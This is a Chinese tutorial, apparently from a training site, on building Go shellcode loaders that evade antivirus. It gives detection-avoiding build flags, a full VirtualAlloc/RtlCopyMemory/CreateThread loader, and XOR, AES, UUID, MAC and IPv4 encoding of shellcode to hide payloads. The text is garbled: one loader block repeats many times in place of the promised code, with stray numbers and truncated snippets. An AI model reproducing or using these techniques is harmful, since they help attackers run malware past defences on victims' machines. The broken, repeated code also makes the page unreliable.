先从exe出发
先写一个 正常的输出hello,world exe
用工具 CheckGoBuild.exe -f main.go 批量编译一下
可以筛选出下面命令的exe是不会被杀
go build -o result3uoQQ19pqH.exe hello.go
go build -o result4wLjGEibpp.exe -trimpath hello.go
go build -o result6qM6rSW3U0.exe -ldflags="-s" hello.go
go build -o resulth9WB6qaAGW.exe -ldflags="-w -s" hello.go
go build -o resultHdG6kU4Ad5.exe -ldflags="-w -s -H windowsgui" hello.go
很多的隐藏黑窗口的编译都被杀了
经过反复测试总结, 针对360误杀行为, 推荐的编译方式为
隐藏黑窗口 import "github.com/gonutz/ide/w32"
编译参数 go build -o main.exe -ldflags="-w -s" -trimpath main.go
如果没有恶意代码360还是误杀, 加上导入_ "github.com/spf13/cobra"包
加载器的基本代码
免杀还是对代码的 增删改
增加: 无用的混淆代码
删除: 非必要的代码(能保证shellcode的正常运行就ok)
改: 改开内存方式,shellcode运行方式,把shellcode放到内存中的方式
package main import (
"syscall" "unsafe"
)
func main() {
shellcode_buf := []byte{0xfc, 0x48, 0x83, 0xe4, 0xf0}
// 1.加载kernel32.dll
kernel32 := syscall.MustLoadDLL("kernel32.dll")
// 2.获取windows api
VirtualAlloc := kernel32.MustFindProc("VirtualAlloc") RtlCopyMemory := kernel32.MustFindProc("RtlCopyMemory") CreateThread := kernel32.MustFindProc("CreateThread") WaitForSingleObject := kernel32.MustFindProc("WaitForSingleObject")
addr, _, _ := VirtualAlloc.Call(0, uintptr(len(shellcode_buf)), 0x1000|0x2000, 0x40)
RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&shellcode_buf[0])), uintptr(len(shellcode_buf)))
h, _, _ := CreateThread.Call(0, 0, addr, 0, 0, 0)
WaitForSingleObject.Call(h, 0xfffffff)
// 7.关闭 DLL kernel32.Release()
}
windows api两种调用方式
syscall 和 golang.org/x/sys/windows
package main
import "golang.org/x/sys/windows" func main() {
kernel32 := windows.MustLoadDLL("kernel32.dll") VirtualAlloc := kernel32.MustFindProc("VirtualAlloc") VirtualAlloc.Call()
}
syscall包被查杀的时候, 可以通过其他的第三方包实现Windows api函数的调用 golang.org/x/sys/windows 和 syscall 包都用于在 Go 中调用操作系统的系统调用,但它们之间有一些区别:
1.golang.org/x/sys/windows :
golang.org/x/sys/windows 包是 Go 官方提供的一个子包,它专门用于在 Go 中调用Windows 操作系统的API。该包提供了对 Windows API 的低级别封装,使得可以在 Go 中直接调用 Windows API 函数。它提供了一组类型和函数,使得与 Windows API 进行交互更加简单和清晰。
由于其是官方支持的包,因此它的维护和更新通常与 Go 语言本身的版本关联。
2.syscall :
syscall 包是 Go 标准库的一部分,它提供了一种通用的接口,用于调用操作系统的系统调用,包括 Windows、Linux、Mac 等。在 Windows 平台上, syscall 包可以被用来调用 Windows API函数,但它通常需要更多的手动工作和类型转换,因为它提供的接口更原始和通用。
与 golang.org/x/sys/windows 包相比,使用 syscall 包更加灵活,但也更加底层,因此在使用时需要更多的了解和小心处理。
所以:只需要在 Go 中调用 Windows API,推荐使用 golang.org/x/sys/windows 包,因为它提供了更清晰、更简单的接口。而 syscall 包则更适合于在不同操作系统之间编写通用的系统调用代码。
加载kernel32.dll的方式
这两个包都可以调用Windows api, 其中调用方式除了MustLoadDLL, 还有另一种 NewLazyDLL
调用kernel32.dll的两个函数 MustFindProc , NewLazyDLL
MustLoadDLL 和 NewLazyDLL 的区别
返回类型不一样 , 一个指向 DLL 结构体的指针, 一个指向 LazyDLL 结构体的指针
加载时间不一样, MustLoadDLL 在程序启动时就需要加载并使用 DLL, NewLazyDLL 惰性加载,在程序运行时调用 DLL 函数时才加载 DLL 文件
package main
import "golang.org/x/sys/windows" func main() {
kernel32 := windows.MustLoadDLL("kernel32.dll") VirtualAlloc := kernel32.MustFindProc("VirtualAlloc") VirtualAlloc.Call()
}
package main
import "golang.org/x/sys/windows" func main() {
kernel32 := windows.MustLoadDLL("kernel32.dll") VirtualAlloc := kernel32.MustFindProc("VirtualAlloc") VirtualAlloc.Call()
}
所以更加推荐使用 NewLazyDLL
package main import (
"syscall" "unsafe"
)
func main() {
// 1.加载kernel32.dll
kernel32 := syscall.NewLazyDLL("kernel32.dll")
// 2.获取windows api
VirtualAlloc := kernel32.NewProc("VirtualAlloc") RtlMoveMemory := kernel32.NewProc("RtlMoveMemory") sc := []byte{0xfc, 0x48, 0x83, 0xe4, 0xf0}
// 3.申请内存, 调用通过 函数名.Call() 调用
// 返回三个值,第一个是内存地址
addr, _, _ := VirtualAlloc.Call(0, uintptr(len(sc)), 0x1000|0x2000, 0x40)
// 4.复制sc到申请的内存中
// &sc[0],因为在go中指针不安全,所以要使用 unsafe.Pointer类型 RtlMoveMemory.Call(addr, (uintptr)(unsafe.Pointer(&sc[0])), uintptr(len(sc)))
// 5.回调函数调用
syscall.Syscall(addr, 0, 0, 0, 0)
}
使用 NewLazyDLL 函数加载 DLL 文件时,不需要调用 Release 方法来释放资源
关于dll加载, 其中 MustLoadDLL("ntdll.dll") , 已经被常见杀软标记处特征了, 所以一定要规避
shellcode的处理
异或
package main import (
"fmt"
)
// xorEncrypt 函数用于对消息进行异或加密
func xorEncrypt(message []byte, key byte) []byte { ciphertext := make([]byte, len(message))
for i := 0; i < len(message); i++ {
ciphertext[i] = message[i] ^ key // 使用异或操作进行加密
}
return ciphertext
}
// xorDecrypt 函数用于对消息进行异或解密
func xorDecrypt(ciphertext []byte, key byte) []byte { decrypted := make([]byte, len(ciphertext))
for i := 0; i < len(ciphertext); i++ {
decrypted[i] = ciphertext[i] ^ key // 使用异或操作进行解密
}
return decrypted
}
func main() {
// 1-255
key := 20
shellcode := []byte{0xfc, 0x48}
// 加密消息
encrypted := xorEncrypt(shellcode, byte(key)) hexData := ""
for _, b := range encrypted { hexData += fmt.Sprintf("0x%02x,", b)
}
// 移除末尾的逗号和空格
hexData = hexData[:len(hexData)-1]
// 打印16进制数据
fmt.Printf("加密后的消息:n%sn", hexData)
// 解密消息
decrypted := xorDecrypt(encrypted, byte(key)) dhexData := ""
for _, b := range decrypted { dhexData += fmt.Sprintf("0x%02x,", b)
}
// 移除末尾的逗号和空格
dhexData = dhexData[:len(dhexData)-1]
// 打印16进制数据
fmt.Printf("解密后的消息:n%s", dhexData)
}
AES加密
如果控制台输出有问题就编译为exe输出就ok了
package main import (
"bytes" "crypto/aes" "fmt"
)
func AesEncryptByECB(data []byte, key string) ([]byte, error) {
// 判断 key 长度
keyLenMap := map[int]struct{}{16: {}, 24: {}, 32: {}} if _, ok := keyLenMap[len(key)]; !ok {
return nil, fmt.Errorf("invalid key length")
}
// 将 key 转为 []byte
keyByte := []byte(key)
// 创建密码组,长度只能是 16、24、32 字节
block, err := aes.NewCipher(keyByte) if err != nil {
return nil, err
}
// 获取密钥长度
blockSize := block.BlockSize()
// 补码
originByte := PKCS7Padding(data, blockSize)
// 创建保存加密结果的变量
encryptResult := make([]byte, len(originByte))
// ECB 是把整个明文分成若干段相同的小段,然后对每一小段进行加密
for bs, be := 0, blockSize; bs < len(originByte); bs, be = bs+blockSize, be+blockSize {
block.Encrypt(encryptResult[bs:be], originByte[bs:be])
}
return encryptResult, nil
}
// 补码
func PKCS7Padding(originByte []byte, blockSize int) []byte {
// 计算补码长度
padding := blockSize - len(originByte)%blockSize
// 生成补码
padText := bytes.Repeat([]byte{byte(padding)}, padding)
// 追加补码
return append(originByte, padText...)
}
func AesDecryptByECB(data []byte, key string) ([]byte, error) {
// 判断 key 长度
keyLenMap := map[int]struct{}{16: {}, 24: {}, 32: {}} if _, ok := keyLenMap[len(key)]; !ok {
}
// 密钥转为 []byte keyByte := []byte(key)
// 创建密码组,长度只能是 16、24、32 字节
block, err := aes.NewCipher(keyByte) if err != nil {
return nil, err
}
// 获取密钥长度
blockSize := block.BlockSize()
// 反解密码 base64 originByte := data
// 创建保存解密变量
decrypted := make([]byte, len(originByte))
for bs, be := 0, blockSize; bs < len(originByte); bs, be = bs+blockSize, be+blockSize {
block.Decrypt(decrypted[bs:be], originByte[bs:be])
}
// 解码
return PKCS7UNPadding(decrypted), nil
}
// 解码
func PKCS7UNPadding(originDataByte []byte) []byte { length := len(originDataByte)
package main import (
"syscall" "unsafe"
)
func main() {
shellcode_buf := []byte{0xfc, 0x48, 0x83, 0xe4, 0xf0}
// 1.加载kernel32.dll
kernel32 := syscall.MustLoadDLL("kernel32.dll")
// 2.获取windows api
VirtualAlloc := kernel32.MustFindProc("VirtualAlloc") RtlCopyMemory := kernel32.MustFindProc("RtlCopyMemory") CreateThread := kernel32.MustFindProc("CreateThread") WaitForSingleObject := kernel32.MustFindProc("WaitForSingleObject")
addr, _, _ := VirtualAlloc.Call(0, uintptr(len(shellcode_buf)), 0x1000|0x2000, 0x40)
RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&shellcode_buf[0])), uintptr(len(shellcode_buf)))
h, _, _ := CreateThread.Call(0, 0, addr, 0, 0, 0)
WaitForSingleObject.Call(h, 0xfffffff)
// 7.关闭 DLL kernel32.Release()
}
0
这里我aes加密示例做了一个小工具源码如下
功能为输入16进制的shellcode 和16位的key
可以直接输出我们的aes加密
经过验证shellcode加密后的shellcode可以上线
package main import (
"syscall" "unsafe"
)
func main() {
shellcode_buf := []byte{0xfc, 0x48, 0x83, 0xe4, 0xf0}
// 1.加载kernel32.dll
kernel32 := syscall.MustLoadDLL("kernel32.dll")
// 2.获取windows api
VirtualAlloc := kernel32.MustFindProc("VirtualAlloc") RtlCopyMemory := kernel32.MustFindProc("RtlCopyMemory") CreateThread := kernel32.MustFindProc("CreateThread") WaitForSingleObject := kernel32.MustFindProc("WaitForSingleObject")
addr, _, _ := VirtualAlloc.Call(0, uintptr(len(shellcode_buf)), 0x1000|0x2000, 0x40)
RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&shellcode_buf[0])), uintptr(len(shellcode_buf)))
h, _, _ := CreateThread.Call(0, 0, addr, 0, 0, 0)
WaitForSingleObject.Call(h, 0xfffffff)
// 7.关闭 DLL kernel32.Release()
}
1
package main import (
"syscall" "unsafe"
)
func main() {
shellcode_buf := []byte{0xfc, 0x48, 0x83, 0xe4, 0xf0}
// 1.加载kernel32.dll
kernel32 := syscall.MustLoadDLL("kernel32.dll")
// 2.获取windows api
VirtualAlloc := kernel32.MustFindProc("VirtualAlloc") RtlCopyMemory := kernel32.MustFindProc("RtlCopyMemory") CreateThread := kernel32.MustFindProc("CreateThread") WaitForSingleObject := kernel32.MustFindProc("WaitForSingleObject")
addr, _, _ := VirtualAlloc.Call(0, uintptr(len(shellcode_buf)), 0x1000|0x2000, 0x40)
RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&shellcode_buf[0])), uintptr(len(shellcode_buf)))
h, _, _ := CreateThread.Call(0, 0, addr, 0, 0, 0)
WaitForSingleObject.Call(h, 0xfffffff)
// 7.关闭 DLL kernel32.Release()
}
2
uuid加密
package main import (
"syscall" "unsafe"
)
func main() {
shellcode_buf := []byte{0xfc, 0x48, 0x83, 0xe4, 0xf0}
// 1.加载kernel32.dll
kernel32 := syscall.MustLoadDLL("kernel32.dll")
// 2.获取windows api
VirtualAlloc := kernel32.MustFindProc("VirtualAlloc") RtlCopyMemory := kernel32.MustFindProc("RtlCopyMemory") CreateThread := kernel32.MustFindProc("CreateThread") WaitForSingleObject := kernel32.MustFindProc("WaitForSingleObject")
addr, _, _ := VirtualAlloc.Call(0, uintptr(len(shellcode_buf)), 0x1000|0x2000, 0x40)
RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&shellcode_buf[0])), uintptr(len(shellcode_buf)))
h, _, _ := CreateThread.Call(0, 0, addr, 0, 0, 0)
WaitForSingleObject.Call(h, 0xfffffff)
// 7.关闭 DLL kernel32.Release()
}
3
输入二进制的shellcode转换为uuid
mac加密
package main import (
"syscall" "unsafe"
)
func main() {
shellcode_buf := []byte{0xfc, 0x48, 0x83, 0xe4, 0xf0}
// 1.加载kernel32.dll
kernel32 := syscall.MustLoadDLL("kernel32.dll")
// 2.获取windows api
VirtualAlloc := kernel32.MustFindProc("VirtualAlloc") RtlCopyMemory := kernel32.MustFindProc("RtlCopyMemory") CreateThread := kernel32.MustFindProc("CreateThread") WaitForSingleObject := kernel32.MustFindProc("WaitForSingleObject")
addr, _, _ := VirtualAlloc.Call(0, uintptr(len(shellcode_buf)), 0x1000|0x2000, 0x40)
RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&shellcode_buf[0])), uintptr(len(shellcode_buf)))
h, _, _ := CreateThread.Call(0, 0, addr, 0, 0, 0)
WaitForSingleObject.Call(h, 0xfffffff)
// 7.关闭 DLL kernel32.Release()
}
4
同样是输入二进制shellcode
mac的脚本需要python2运行
package main import (
"syscall" "unsafe"
)
func main() {
shellcode_buf := []byte{0xfc, 0x48, 0x83, 0xe4, 0xf0}
// 1.加载kernel32.dll
kernel32 := syscall.MustLoadDLL("kernel32.dll")
// 2.获取windows api
VirtualAlloc := kernel32.MustFindProc("VirtualAlloc") RtlCopyMemory := kernel32.MustFindProc("RtlCopyMemory") CreateThread := kernel32.MustFindProc("CreateThread") WaitForSingleObject := kernel32.MustFindProc("WaitForSingleObject")
addr, _, _ := VirtualAlloc.Call(0, uintptr(len(shellcode_buf)), 0x1000|0x2000, 0x40)
RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&shellcode_buf[0])), uintptr(len(shellcode_buf)))
h, _, _ := CreateThread.Call(0, 0, addr, 0, 0, 0)
WaitForSingleObject.Call(h, 0xfffffff)
// 7.关闭 DLL kernel32.Release()
}
5
ipv4
同样是输入二进制的shellcode python运行
package main import (
"syscall" "unsafe"
)
func main() {
shellcode_buf := []byte{0xfc, 0x48, 0x83, 0xe4, 0xf0}
// 1.加载kernel32.dll
kernel32 := syscall.MustLoadDLL("kernel32.dll")
// 2.获取windows api
VirtualAlloc := kernel32.MustFindProc("VirtualAlloc") RtlCopyMemory := kernel32.MustFindProc("RtlCopyMemory") CreateThread := kernel32.MustFindProc("CreateThread") WaitForSingleObject := kernel32.MustFindProc("WaitForSingleObject")
addr, _, _ := VirtualAlloc.Call(0, uintptr(len(shellcode_buf)), 0x1000|0x2000, 0x40)
RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&shellcode_buf[0])), uintptr(len(shellcode_buf)))
h, _, _ := CreateThread.Call(0, 0, addr, 0, 0, 0)
WaitForSingleObject.Call(h, 0xfffffff)
// 7.关闭 DLL kernel32.Release()
}
6
本地分离/网络分离
申请内存
函数上的操作
除了VirtualAlloc,还可以使用 HeapAlloc, 以及AllocADsMem VirtualAlloc.Call(0, uintptr(len(sc)), 0x1000|0x2000, 0x40)
这行代码调用了 VirtualAlloc 函数来在进程的虚拟地址空间中分配内存。VirtualAlloc 函数是Windows API 中用于内存管理的函数之一。在这行代码中,第一个参数为 0 ,表示让系统自动选择适当的地址;第二个参数为 uintptr(len(sc)) ,表示要分配的内存大小, len(sc) 可能是一个字节切片的长 度,也就是要分配的字节数;第三个参数为 0x1000|0x2000 ,表示同时提交和保留内存;第四个参数为 0x40 ,表示内存权限(可读可写)。这个函数通常用于分配较大块的内存,比如用于存储代码执行的缓冲区(shellcode)。
HeapAlloc.Call(heapAddr, 0, uintptr(len(sc)))
这行代码使用了 HeapAlloc 函数来在堆上分配内存。HeapAlloc 是 Windows API 中的一个函数,它通常用于在堆上分配内存。在这行代码中, heapAddr 可能是一个指向堆的句柄或者是堆的基地址, uintptr(len(sc)) 表示要分配的内存大小。
package main import (
"syscall" "unsafe"
)
func main() {
shellcode_buf := []byte{0xfc, 0x48, 0x83, 0xe4, 0xf0}
// 1.加载kernel32.dll
kernel32 := syscall.MustLoadDLL("kernel32.dll")
// 2.获取windows api
VirtualAlloc := kernel32.MustFindProc("VirtualAlloc") RtlCopyMemory := kernel32.MustFindProc("RtlCopyMemory") CreateThread := kernel32.MustFindProc("CreateThread") WaitForSingleObject := kernel32.MustFindProc("WaitForSingleObject")
addr, _, _ := VirtualAlloc.Call(0, uintptr(len(shellcode_buf)), 0x1000|0x2000, 0x40)
RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&shellcode_buf[0])), uintptr(len(shellcode_buf)))
h, _, _ := CreateThread.Call(0, 0, addr, 0, 0, 0)
WaitForSingleObject.Call(h, 0xfffffff)
// 7.关闭 DLL kernel32.Release()
}
7
heapcreate/heapalloc函数解析
AllocADsMem.Call(uintptr(len(sc)))
AllocADsMem 是 Active Directory Service Interfaces (ADSI) 库中的函数,用于分配内存。它通常用于与 Active Directory 相关的操作。
这个函数的作用是分配指定大小的内存块,并返回指向分配内存的指针。它与 HeapAlloc 函数类似,但是用于特定的内存分配需求。
package main import (
"syscall" "unsafe"
)
func main() {
shellcode_buf := []byte{0xfc, 0x48, 0x83, 0xe4, 0xf0}
// 1.加载kernel32.dll
kernel32 := syscall.MustLoadDLL("kernel32.dll")
// 2.获取windows api
VirtualAlloc := kernel32.MustFindProc("VirtualAlloc") RtlCopyMemory := kernel32.MustFindProc("RtlCopyMemory") CreateThread := kernel32.MustFindProc("CreateThread") WaitForSingleObject := kernel32.MustFindProc("WaitForSingleObject")
addr, _, _ := VirtualAlloc.Call(0, uintptr(len(shellcode_buf)), 0x1000|0x2000, 0x40)
RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&shellcode_buf[0])), uintptr(len(shellcode_buf)))
h, _, _ := CreateThread.Call(0, 0, addr, 0, 0, 0)
WaitForSingleObject.Call(h, 0xfffffff)
// 7.关闭 DLL kernel32.Release()
}
8
总结一下
这3个分别使用了不同的函数来分配内存,且用于不同的目的。AllocADsMem 和HeapAlloc 函数可能是特定于某些库或者服务的内存分配函数,而 VirtualAlloc 函数是 Windows API中的标准内存分配函数之一,通常用于在进程的虚拟地址空间中分配内存。
属性上的操作
package main import (
"syscall" "unsafe"
)
func main() {
shellcode_buf := []byte{0xfc, 0x48, 0x83, 0xe4, 0xf0}
// 1.加载kernel32.dll
kernel32 := syscall.MustLoadDLL("kernel32.dll")
// 2.获取windows api
VirtualAlloc := kernel32.MustFindProc("VirtualAlloc") RtlCopyMemory := kernel32.MustFindProc("RtlCopyMemory") CreateThread := kernel32.MustFindProc("CreateThread") WaitForSingleObject := kernel32.MustFindProc("WaitForSingleObject")
addr, _, _ := VirtualAlloc.Call(0, uintptr(len(shellcode_buf)), 0x1000|0x2000, 0x40)
RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&shellcode_buf[0])), uintptr(len(shellcode_buf)))
h, _, _ := CreateThread.Call(0, 0, addr, 0, 0, 0)
WaitForSingleObject.Call(h, 0xfffffff)
// 7.关闭 DLL kernel32.Release()
}
9
package main
import "golang.org/x/sys/windows" func main() {
kernel32 := windows.MustLoadDLL("kernel32.dll") VirtualAlloc := kernel32.MustFindProc("VirtualAlloc") VirtualAlloc.Call()
}
0
package main
import "golang.org/x/sys/windows" func main() {
kernel32 := windows.MustLoadDLL("kernel32.dll") VirtualAlloc := kernel32.MustFindProc("VirtualAlloc") VirtualAlloc.Call()
}
1
shellcode的运行方式
可以自行总结各种方式作为模板
— 实验室旗下直播培训课程 —
推荐站内搜索:最好用的开发软件、免费开源系统、渗透测试工具云盘下载、最新渗透测试资料、最新黑客工具下载……
还没有评论,来说两句吧...